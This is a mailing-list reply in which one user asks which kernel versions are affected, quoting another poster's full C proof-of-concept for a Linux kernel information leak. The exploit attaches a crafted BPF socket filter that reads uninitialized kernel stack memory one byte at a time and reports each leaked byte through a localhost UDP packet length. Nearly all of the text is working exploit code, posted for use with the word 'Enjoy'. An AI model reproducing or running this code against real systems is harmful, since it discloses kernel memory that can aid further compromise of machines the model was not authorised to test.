Re: Kernel 0-day

[James Lay <jlay () slave-tothe-box net>]

What kernel version(s) is/are impacted?  Tried on one and no workie.

James


On 11/9/10 3:18 PM, "Dan Rosenberg" <dan.j.rosenberg () gmail com> wrote:

> Enjoy...
>
> -Dan
>
>
> /*
> * You've done it.  After hours of gdb and caffeine, you've finally got a
> shell
> * on your target's server.  Maybe next time they will think twice about
> * running MyFirstCompSciProjectFTPD on a production machine.  As you take
> * another sip of Mountain Dew and pick some of the cheetos out of your
> beard,
> * you begin to plan your next move - it's time to tackle the kernel.
> *
> * What should be your goal?  Privilege escalation?  That's impossible,
> there's
> * no such thing as a privilege escalation vulnerability on Linux.
> Denial of
> * service?  What are you, some kind of script kiddie?  No, the answer is
> * obvious.  You must read the uninitialized bytes of the kernel stack,
> since
> * these bytes contain all the secrets of the universe and the meaning of
> life.
> *
> * How can you accomplish this insidious feat?  You immediately discard
> the
> * notion of looking for uninitialized struct members that are copied
> back to
> * userspace, since you clearly need something far more elite.  In order
> to
> * prove your superiority, your exploit must be as sophisticated as your
> taste
> * in obscure electronic music.  After scanning the kernel source for good
> * candidates, you find your target and begin to code...
> *
> * by Dan Rosenberg
> *
> * Greets to kees, taviso, jono, spender, hawkes, and bla
> *
> */
>
> #include <string.h>
> #include <stdio.h>
> #include <netinet/in.h>
> #include <sys/socket.h>
> #include <unistd.h>
> #include <stdlib.h>
> #include <linux/filter.h>
>
> #define PORT 37337
>
> int transfer(int sendsock, int recvsock)
> {
>
>    struct sockaddr_in addr;
>    char buf[512];
>    int len = sizeof(addr);
>
>    memset(buf, 0, sizeof(buf));
>    
>    if (fork())
>        return recvfrom(recvsock, buf, 512, 0, (struct sockaddr *)&addr,
> &len);
>
>    sleep(1);
>
>    memset(&addr, 0, sizeof(addr));
>    addr.sin_family = AF_INET;
>    addr.sin_port = htons(PORT);
>    addr.sin_addr.s_addr = inet_addr("127.0.0.1");
>    
>    sendto(sendsock, buf, 512, 0, (struct sockaddr *)&addr, len);
>
>    exit(0);
>
> }
>
> int main(int argc, char * argv[])
> {
>
>    int sendsock, recvsock, ret;
>    unsigned int val;
>    struct sockaddr_in addr;
>    struct sock_fprog fprog;
>    struct sock_filter filters[5];
>
>    if (argc != 2) {
>        printf("[*] Usage: %s offset (0-63)\n", argv[0]);
>        return -1;
>    }
>
>    val = atoi(argv[1]);
>
>    if (val > 63) {
>        printf("[*] Invalid byte offset (must be 0-63)\n");
>        return -1;
>    }
>
>    recvsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
>    sendsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
>
>    if (recvsock < 0 || sendsock < 0) {
>        printf("[*] Could not create sockets.\n");
>        return -1;
>    }
>
>    memset(&addr, 0, sizeof(addr));
>    addr.sin_family = AF_INET;
>    addr.sin_port = htons(PORT);
>    addr.sin_addr.s_addr = htonl(INADDR_ANY);
>
>    if (bind(recvsock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
>        printf("[*] Could not bind socket.\n");
>        return -1;
>    }
>
>    memset(&fprog, 0, sizeof(fprog));
>    memset(filters, 0, sizeof(filters));
>
>    filters[0].code = BPF_LD|BPF_MEM;
>    filters[0].k = (val & ~0x3) / 4;
>
>    filters[1].code = BPF_ALU|BPF_AND|BPF_K;
>    filters[1].k = 0xff << ((val % 4) * 8);
>
>    filters[2].code = BPF_ALU|BPF_RSH|BPF_K;
>    filters[2].k = (val % 4) * 8;
>
>    filters[3].code = BPF_ALU|BPF_ADD|BPF_K;
>    filters[3].k = 256;
>
>    filters[4].code = BPF_RET|BPF_A;
>
>    fprog.len = 5;
>    fprog.filter = filters;
>
>    if (setsockopt(recvsock, SOL_SOCKET, SO_ATTACH_FILTER, &fprog,
> sizeof(fprog)) < 0) {
>        printf("[*] Failed to install filter.\n");
>        return -1;
>    }
>
>    ret = transfer(sendsock, recvsock);
>
>    printf("[*] Your byte: 0x%.02x\n", ret - 248);
>
> }